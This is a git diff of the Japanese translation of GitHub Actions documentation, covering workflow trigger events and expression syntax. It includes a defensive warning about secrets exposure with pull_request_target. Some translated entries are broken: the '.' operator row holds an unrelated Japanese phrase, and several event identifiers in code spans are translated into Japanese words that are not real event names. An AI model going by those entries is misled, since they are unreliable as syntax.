+`project_card` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[プロジェクトカード](/rest/reference/projects#cards)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                       | アクティビティタイプ                                                                                                     | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`project_card`](/webhooks/event-payloads/#project_card) | - `created`<br/>- `moved`<br/>- `converted` to an issue<br/>- `edited`<br/>- `deleted` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project card has been `opened` or `deleted`.
+たとえば、プロジェクトカードが `opened` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -570,17 +570,17 @@ on:
 
 ### `project_column`
 
-Runs your workflow anytime the `project_column` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Project columns](/rest/reference/projects#columns)."
+`project_column` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[プロジェクト列](/rest/reference/projects#columns)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                           | アクティビティタイプ                                                                  | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------------------------ | --------------------------------------------------------------------------- | ----------------- | ------------ |
+| [`project_column`](/webhooks/event-payloads/#project_column) | - `created`<br/>- `updated`<br/>- `moved`<br/>- `deleted` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a project column has been `created` or `deleted`.
+たとえば、プロジェクト列が `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -590,15 +590,15 @@ on:
 
 ### `public`
 
-Runs your workflow anytime someone makes a private repository public, which triggers the `public` event. For information about the REST API, see "[Edit repositories](/rest/reference/repos#edit)."
+誰かがプライベートリポジトリをパブリックにし、それによって `public` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[リポジトリの編集](/rest/reference/repos#edit)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`public`](/webhooks/event-payloads/#public) | n/a | Last commit on default branch |  Default branch |
+| webhook イベントのペイロード                           | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------- | ---------- | ----------------- | ------------ |
+| [`public`](/webhooks/event-payloads/#public) | n/a        | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
-For example, you can run a workflow when the `public` event occurs.
+たとえば、`public` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -607,23 +607,23 @@ on:
 
 ### `pull_request`
 
-Runs your workflow anytime the `pull_request` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull requests](/rest/reference/pulls)."
+`pull_request` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[プルリクエスト](/rest/reference/pulls)」を参照してください。
 
 {% note %}
 
-**Notes:**
-- By default, a workflow only runs when a `pull_request`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword.
+**ノート:**
+- By default, a workflow only runs when a `pull_request`'s activity type is `opened`, `synchronize`, or `reopened`. 他のアクティビティタイプについてもワークフローをトリガーするには、`types` キーワードを使用してください。
 - Workflows will not run on `pull_request` activity if the pull request has a merge conflict. The merge conflict must be resolved first.
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| webhook イベントのペイロード                                       | アクティビティタイプ                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `GITHUB_SHA`                  | `GITHUB_REF`                           |
+| -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------- | -------------------------------------- |
+| [`pull_request`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | `GITHUB_REF` ブランチ上の直近のマージコミット | PR マージブランチ `refs/pull/:prNumber/merge` |
 
-You extend or limit the default activity types using the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+デフォルトのアクティビティタイプを拡大または制限するには、`types` キーワードを使用します。 詳しい情報については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/articles/workflow-syntax-for-github-actions#onevent_nametypes)」を参照してください。
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+たとえば、プルリクエストが `assigned`、`opened`、`synchronize`、または `reopened` だったときにワークフローを実行できます。
 
 ```yaml
 on:
@@ -635,15 +635,15 @@ on:
 
 ### `pull_request_review`
 
-Runs your workflow anytime the `pull_request_review` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Pull request reviews](/rest/reference/pulls#reviews)."
+`pull_request_review` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[プルリクエストレビュー](/rest/reference/pulls#reviews)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| webhook イベントのペイロード                                                     | アクティビティタイプ                                                 | `GITHUB_SHA`                  | `GITHUB_REF`                           |
+| ---------------------------------------------------------------------- | ---------------------------------------------------------- | ----------------------------- | -------------------------------------- |
+| [`pull_request_review`](/webhooks/event-payloads/#pull_request_review) | - `submitted`<br/>- `edited`<br/>- `dismissed` | `GITHUB_REF` ブランチ上の直近のマージコミット | PR マージブランチ `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review has been `edited` or `dismissed`.
+たとえば、プルリクエストレビューが `edited` または `dismissed` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -655,15 +655,15 @@ on:
 
 ### `pull_request_review_comment`
 
-Runs your workflow anytime a comment on a pull request's unified diff is modified, which triggers the `pull_request_review_comment` event. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see [Review comments](/rest/reference/pulls#comments).
+プルリクエストの統合 diff へのコメントが変更され、それによって `pull_request_review_comment` イベントがトリガーされるときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[レビューコメント](/rest/reference/pulls#comments)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted`| Last merge commit on the `GITHUB_REF` branch | PR merge branch `refs/pull/:prNumber/merge` |
+| webhook イベントのペイロード                                                                     | アクティビティタイプ                                             | `GITHUB_SHA`                  | `GITHUB_REF`                           |
+| -------------------------------------------------------------------------------------- | ------------------------------------------------------ | ----------------------------- | -------------------------------------- |
+| [`pull_request_review_comment`](/webhooks/event-payloads/#pull_request_review_comment) | - `created`<br/>- `edited`<br/>- `deleted` | `GITHUB_REF` ブランチ上の直近のマージコミット | PR マージブランチ `refs/pull/:prNumber/merge` |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a pull request review comment has been `created` or `deleted`.
+たとえば、プルリクエストレビューコメントが `created` または `deleted` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -675,21 +675,21 @@ on:
 
 ### `pull_request_target`
 
-This event runs in the context of the base of the pull request, rather than in the merge commit as the `pull_request` event does.  This prevents executing unsafe workflow code from the head of the pull request that could alter your repository or steal any secrets you use in your workflow. This event allows you to do things like create workflows that label and comment on pull requests based on the contents of the event payload.
+このイベントは`pull_request`のようにマージコミット内ではなく、Pull Requestのベースのコンテキストで実行されます。  これにより、リポジトリを変更したり、ワークフローで使うシークレットを盗んだりするような、Pull Requestのヘッドからの安全ではないワークフローのコードが実行されるのを避けられます。 このイベントでは、イベントペイロードの内容に基づいて、プルリクエストにラベルを付けてコメントを付けるワークフローを作成するようなことができます。
 
 {% warning %}
 
-**Warning:** The `pull_request_target` event is granted a read/write repository token and can access secrets, even when it is triggered from a fork. Although the workflow runs in the context of the base of the pull request, you should make sure that you do not check out, build, or run untrusted code from the pull request with this event. Additionally, any caches share the same scope as the base branch, and to help prevent cache poisoning, you should not save the cache if there is a possibility that the cache contents were altered. For more information, see "[Keeping your GitHub Actions and workflows secure: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)" on the GitHub Security Lab website.
+**警告:** `pull_request_target`イベントは、フォークからトリガーされた場合であっても、リポジトリトークンの読み書きが許可されており、シークレットにアクセスできます。 ワークフローはPull Requestのベースのコンテキストで実行されますが、このイベントでPull Requestから信頼できないコードをチェックアウトしたり、ビルドしたり、実行したりしないようにしなければなりません。 加えて、ベースブランチと同じスコープを共有するキャッシュがあり、キャッシュが汚染されることを避けるために、キャッシュの内容が変更されている可能性があるなら、キャッシュを保存するべきではありません。 詳細については、GitHub Security Lab Web サイトの「[GitHub Actions とワークフローを安全に保つ: pwn リクエストの防止](https://securitylab.github.com/research/github-actions-preventing-pwn-requests)」を参照してください。
 
 {% endwarning %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | Last commit on the PR base branch | PR base branch |
+| webhook イベントのペイロード                                              | アクティビティタイプ                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             | `GITHUB_SHA`       | `GITHUB_REF` |
+| --------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | ------------ |
+| [`pull_request_target`](/webhooks/event-payloads/#pull_request) | - `assigned`<br/>- `unassigned`<br/>- `labeled`<br/>- `unlabeled`<br/>- `opened`<br/>- `edited`<br/>- `closed`<br/>- `reopened`<br/>- `synchronize`<br/>- `converted_to_draft`<br/>- `ready_for_review`<br/>- `locked`<br/>- `unlocked` <br/>- `review_requested` <br/>- `review_request_removed`{% ifversion fpt or ghes > 3.0 or ghae or ghec %} <br/>- `auto_merge_enabled` <br/>- `auto_merge_disabled`{% endif %} | PR ベースブランチの直近のコミット | PR ベースブランチ   |
 
-By default, a workflow only runs when a `pull_request_target`'s activity type is `opened`, `synchronize`, or `reopened`. To trigger workflows for more activity types, use the `types` keyword. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions#onevent_nametypes)."
+デフォルトでは、ワークフローは、`pull_request_target` のアクティビティタイプが `opened`、`synchronize`、または `reopened` のときにのみ実行されます。 他のアクティビティタイプについてもワークフローをトリガーするには、`types` キーワードを使用してください。 詳しい情報については、「[{% data variables.product.prodname_actions %}のワークフロー構文](/articles/workflow-syntax-for-github-actions#onevent_nametypes)」を参照してください。
 
-For example, you can run a workflow when a pull request has been `assigned`, `opened`, `synchronize`, or `reopened`.
+たとえば、プルリクエストが `assigned`、`opened`、`synchronize`、または `reopened` だったときにワークフローを実行できます。
 
 ```yaml
 on:
@@ -697,21 +697,21 @@ on:
     types: [assigned, opened, synchronize, reopened]
 ```
 
-### `push`
+### `プッシュ`
 
 {% note %}
 
-**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the REST API. For more information, see "[Get a commit](/rest/reference/commits#get-a-commit)".
+**ノート：** GitHub Actionsが利用できるwebhookのペイロードには、`commit`オブジェクト中の`added`、`removed`、`modified`属性は含まれません。 完全なcommitオブジェクトは、REST APIを使って取得できます。 詳しい情報については、「[1つのコミットの取得](/rest/reference/commits#get-a-commit)」を参照してください。
 
 {% endnote %}
 
-Runs your workflow when someone pushes to a repository branch, which triggers the `push` event.
+誰かがリポジトリブランチにプッシュし、それによって `push` イベントがトリガーされるときにワークフローを実行します。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`push`](/webhooks/event-payloads/#push) | n/a | Commit pushed, unless deleting a branch (when it's the default branch) | Updated ref |
+| webhook イベントのペイロード                       | アクティビティタイプ | `GITHUB_SHA`                                  | `GITHUB_REF` |
+| ---------------------------------------- | ---------- | --------------------------------------------- | ------------ |
+| [`プッシュ`](/webhooks/event-payloads/#push) | n/a        | プッシュされたコミット、ただし (デフォルトブランチの際に) ブランチを削除する場合を除く | 更新された ref    |
 
-For example, you can run a workflow when the `push` event occurs.
+たとえば、`push` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -720,15 +720,15 @@ on:
 
 ### `registry_package`
 
-Runs your workflow anytime a package is `published` or `updated`. For more information, see "[Managing packages with {% data variables.product.prodname_registry %}](/github/managing-packages-with-github-packages)."
+パッケージが`published`もしくは`updated`されるとワークフローを実行します。 詳しい情報については「[{% data variables.product.prodname_registry %}でのパッケージ管理](/github/managing-packages-with-github-packages)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`registry_package`](/webhooks/event-payloads/#package) | - `published`<br/>- `updated` | Commit of the published package | Branch or tag of the published package |
+| webhook イベントのペイロード                                      | アクティビティタイプ                          | `GITHUB_SHA`    | `GITHUB_REF`          |
+| ------------------------------------------------------- | ----------------------------------- | --------------- | --------------------- |
+| [`registry_package`](/webhooks/event-payloads/#package) | - `published`<br/>- `updated` | 公開されたパッケージのコミット | 公開されたパッケージのブランチもしくはタグ |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a package has been `published`.
+たとえば、パッケージが`published`されたときにワークフローを実行できます。
 
 ```yaml
 on:
@@ -736,23 +736,23 @@ on:
     types: [published]
 ```
 
-### `release`
+### `リリース`
 
 {% note %}
 
-**Note:** The `release` event is not triggered for draft releases.
+**注釈:** `release` イベントは、ドラフトリリースではトリガーされません。
 
 {% endnote %}
 
-Runs your workflow anytime the `release` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Releases](/rest/reference/repos#releases)."
+`release` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[リリース](/rest/reference/repos#releases)」を参照してください。
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`release`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | Last commit in the tagged release | Tag of release |
+| webhook イベントのペイロード                          | アクティビティタイプ                                                                                                                                                      | `GITHUB_SHA`       | `GITHUB_REF` |
+| ------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------ | ------------ |
+| [`リリース`](/webhooks/event-payloads/#release) | - `published` <br/>- `unpublished` <br/>- `created` <br/>- `edited` <br/>- `deleted` <br/>- `prereleased`<br/> - `released` | リリースのタグが付いた直近のコミット | リリースのタグ      |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when a release has been `published`.
+たとえば、リリースが `published` だったときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -762,40 +762,40 @@ on:
 
 {% note %}
 
-**Note:** The `prereleased` type will not trigger for pre-releases published from draft releases, but the `published` type will trigger. If you want a workflow to run when stable *and* pre-releases publish, subscribe to `published` instead of `released` and `prereleased`.
+**注釈:** `prereleased` タイプは、ドラフトリリースから公開されたプレリリースではトリガーされませんが、`published` タイプはトリガーされます。 安定版*および*プレリリースの公開時にワークフローを実行する場合は、`released` および `prereleased` ではなく `published` にサブスクライブします。
 
 {% endnote %}
 
-### `status`
+### `ステータス`
 
-Runs your workflow anytime the status of a Git commit changes, which triggers the `status` event. For information about the REST API, see [Statuses](/rest/reference/repos#statuses).
+Git コミットのステータスが変更された、それによって `status` イベントがトリガーされるときにワークフローを実行します。 REST API の詳細については、「[ステータス](/rest/reference/repos#statuses)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`status`](/webhooks/event-payloads/#status) | n/a | Last commit on default branch | n/a |
+| webhook イベントのペイロード                          | アクティビティタイプ | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------- | ---------- | ----------------- | ------------ |
+| [`ステータス`](/webhooks/event-payloads/#status) | n/a        | デフォルトブランチの直近のコミット | n/a          |
 
-For example, you can run a workflow when the `status` event occurs.
+たとえば、`status` イベントが発生したときにワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
   status
 ```
 
-### `watch`
+### `Watch`
 
-Runs your workflow anytime the `watch` event occurs. {% data reusables.developer-site.multiple_activity_types %} For information about the REST API, see "[Starring](/rest/reference/activity#starring)."
+`watch` イベントが発生したときにワークフローを実行します。 {% data reusables.developer-site.multiple_activity_types %} REST API の詳細については、「[Star を付ける](/rest/reference/activity#starring)」を参照してください。
 
 {% data reusables.github-actions.branch-requirement %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`watch`](/webhooks/event-payloads/#watch) | - `started` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                         | アクティビティタイプ  | `GITHUB_SHA`      | `GITHUB_REF` |
+| ------------------------------------------ | ----------- | ----------------- | ------------ |
+| [`Watch`](/webhooks/event-payloads/#watch) | - `started` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-For example, you can run a workflow when someone stars a repository, which is the `started` activity type that triggers the watch event.
+たとえば、誰かがリポジトリに Star を付け、それが Watch イベントをトリガーする `started` アクティブタイプである場合にワークフローを実行する例は、次のとおりです。
 
 ```yaml
 on:
@@ -809,7 +809,7 @@ on:
 
 {% note %}
 
-**Notes:** 
+**ノート:**
 
 * This event will only trigger a workflow run if the workflow file is on the default branch.
 
@@ -817,15 +817,15 @@ on:
 
 {% endnote %}
 
-| Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
-| --------------------- | -------------- | ------------ | -------------|
-| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | Last commit on default branch | Default branch |
+| webhook イベントのペイロード                                       | アクティビティタイプ                            | `GITHUB_SHA`      | `GITHUB_REF` |
+| -------------------------------------------------------- | ------------------------------------- | ----------------- | ------------ |
+| [`workflow_run`](/webhooks/event-payloads/#workflow_run) | - `completed`<br/>- `requested` | デフォルトブランチの直近のコミット | デフォルトブランチ    |
 
 {% data reusables.developer-site.limit_workflow_to_activity_types %}
 
-If you need to filter branches from this event, you can use `branches` or `branches-ignore`.
+このイベントからブランチをフィルタする必要がある場合は、`branches` または `branches-ignore` を使用できます。
 
-In this example, a workflow is configured to run after the separate "Run Tests" workflow completes.
+この例では、ワークフローは個別の「Run Tests」ワークフローの完了後に実行されるように設定されています。
 
 ```yaml
 on:
@@ -837,7 +837,7 @@ on:
       - requested
 ```
 
-To run a workflow job conditionally based on the result of the previous workflow run, you can use the [`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) or [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) conditional combined with the `conclusion` of the previous run. For example:
+前回のワークフロー実行の結果に基づいて条件付きでワークフロージョブを実行する場合、[`jobs.<job_id>.if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idif) または [`jobs.<job_id>.steps[*].if`](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsif) 条件を前回の実行の `conclusion` と組み合わせて使用できます。 例:
 
 ```yaml
 on:
@@ -858,8 +858,8 @@ jobs:
       ...
 ```
 
-## Triggering new workflows using a personal access token
+## 個人アクセストークンを使った新しいワークフローのトリガー
 
-{% data reusables.github-actions.actions-do-not-trigger-workflows %} For more information, see "[Authenticating with the GITHUB_TOKEN](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)."
+{% data reusables.github-actions.actions-do-not-trigger-workflows %} 詳しい情報については「[GITHUB_TOKENでの認証](/actions/configuring-and-managing-workflows/authenticating-with-the-github_token)」を参照してください。
 
-If you would like to trigger a workflow from a workflow run, you can trigger the event using a personal access token. You'll need to create a personal access token and store it as a secret. To minimize your {% data variables.product.prodname_actions %} usage costs, ensure that you don't create recursive or unintended workflow runs. For more information on storing a personal access token as a secret, see "[Creating and storing encrypted secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)."
+ワークフローの実行からワークフローをトリガーしたい場合意は、個人アクセストークンを使ってイベントをトリガーできます。 個人アクセストークンを作成し、それをシークレットとして保存する必要があります。 {% data variables.product.prodname_actions %}の利用コストを最小化するために、再帰的あるいは意図しないワークフローの実行が生じないようにしてください。 個人アクセストークンのシークレットとしての保存に関する詳しい情報については「[暗号化されたシークレットの作成と保存](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)」を参照してください。
diff --git a/translations/ja-JP/content/actions/learn-github-actions/expressions.md b/translations/ja-JP/content/actions/learn-github-actions/expressions.md
index 43a4e14853..84cd24c69a 100644
--- a/translations/ja-JP/content/actions/learn-github-actions/expressions.md
+++ b/translations/ja-JP/content/actions/learn-github-actions/expressions.md
@@ -15,21 +15,21 @@ miniTocMaxHeadingLevel: 3
 
 ## About expressions
 
-You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
+プログラムでワークフローファイルの変数を設定したり、コンテキストにアクセスするために、式を利用できます。 式で使えるのは、リテラル値、コンテキストへの参照、関数の組み合わせです。 リテラル、コンテキストへの参照、および関数を組み合わせるには、演算子を使います。 For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
 
-Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run.
+式は、ステップを実行すべきか判断するための `if` 条件キーワードをワークフローファイル内に記述して使用するのが一般的です。 `if`条件が`true`になれば、ステップは実行されます。
 
-You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string.
+ある式を、文字列型として扱うのではなく式として評価するためには、特定の構文を使って {% data variables.product.prodname_dotcom %} に指示する必要があります。
 
 {% raw %}
 `${{ <expression> }}`
 {% endraw %}
 
-{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+{% data reusables.github-actions.expression-syntax-if %} `if`条件の詳細については、「[{% data variables.product.prodname_actions %}のためのワークフローの構文](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)」を参照してください。
 
 {% data reusables.github-actions.context-injection-warning %}
 
-#### Example expression in an `if` conditional
+#### `if` 条件内の式の例
 
 ```yaml
 steps:
@@ -37,7 +37,7 @@ steps:
     if: {% raw %}${{ <expression> }}{% endraw %}
 ```
 
-#### Example setting an environment variable
+#### 環境変数の設定例
 
 {% raw %}
 ```yaml
@@ -46,18 +46,18 @@ env:
 ```
 {% endraw %}
 
-## Literals
+## リテラル
 
-As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types.
+式の一部として、`boolean`、`null`、`number`、または`string`のデータ型を使用できます。
 
-| Data type | Literal value |
-|-----------|---------------|
-| `boolean` | `true` or `false` |
-| `null`    | `null` |
-| `number`  | Any number format supported by JSON. |
-| `string`  | You must use single quotes. Escape literal single-quotes with a single quote. |
+| データ型      | リテラル値                                                |
+| --------- | ---------------------------------------------------- |
+| `boolean` | `true` または `false`                                   |
+| `null`    | `null`                                               |
+| `number`  | JSONでサポートされている任意の数値書式。                               |
+| `string`  | 一重引用符で囲む必要があります。 一重引用符そのものを使用するには、一重引用符でエスケープしてください。 |
 
-#### Example
+#### サンプル
 
 {% raw %}
 ```yaml
@@ -73,99 +73,99 @@ env:
 ```
 {% endraw %}
 
-## Operators
+## 演算子
 
-| Operator    | Description |
-| ---         | ---         |
-| `( )`       | Logical grouping |
-| `[ ]`       | Index
-| `.`         | Property dereference |
-| `!`         | Not |
-| `<`         | Less than |
-| `<=`        | Less than or equal |
-| `>`         | Greater than |
-| `>=`        | Greater than or equal |
-| `==`        | Equal |
-| `!=`        | Not equal |
-| `&&`        | And |
-|  <code>\|\|</code> | Or |
+| 演算子                       | 説明        |
+| ------------------------- | --------- |
+| `( )`                     | 論理グループ化   |
+| `[ ]`                     | インデックス    |
+| `から実行されます。`               | プロパティ参照外し |
+| `!`                       | 否定        |
+| `<`                    | 小なり       |
+| `<=`                   | 以下        |
+| `>`                    | 大なり       |
+| `>=`                   | 以上        |
+| `==`                      | 等しい       |
+| `!=`                      | 等しくない     |
+| `&&`              | AND       |
+| <code>\|\|</code> | OR        |
 
-{% data variables.product.prodname_dotcom %} performs loose equality comparisons.
+{% data variables.product.prodname_dotcom %} は、等価性を緩やかに比較します。
 
-* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions:
+* 型が一致しない場合、{% data variables.product.prodname_dotcom %} は型を強制的に数値とします。 {% data variables.product.prodname_dotcom %} は、以下の変換方法で、データ型を数字にキャストします。
 
-  | Type    | Result |
-  | ---     | ---    |
-  | Null    | `0` |
-  | Boolean | `true` returns `1` <br /> `false` returns `0` |
-  | String  | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. |
-  | Array   | `NaN` |
-  | Object  | `NaN` |
-* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
-* {% data variables.product.prodname_dotcom %} ignores case when comparing strings.
-* Objects and arrays are only considered equal when they are the same instance.
+  | 種類     | 結果                                                                     |
+  | ------ | ---------------------------------------------------------------------- |
+  | ヌル     | `0`                                                                    |
+  | 論理値    | `true`は`1`を返します。<br /> `false`は`0`を返します。                         |
+  | 文字列型   | 正規のJSON数値型からパースされます。それ以外の場合は`NaN`です。 <br />注釈: 空の文字列は `0` を返します。 |
+  | 配列     | `NaN`                                                                  |
+  | オブジェクト | `NaN`                                                                  |
+* ある `NaN` を、別の `NaN` と比較すると、`true` は返ってきません。 詳しい情報については、「[NaN Mozilla ドキュメント](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)」を参照してください。
+* {% data variables.product.prodname_dotcom %} は、文字列を比較する際に大文字と小文字を区別しません。
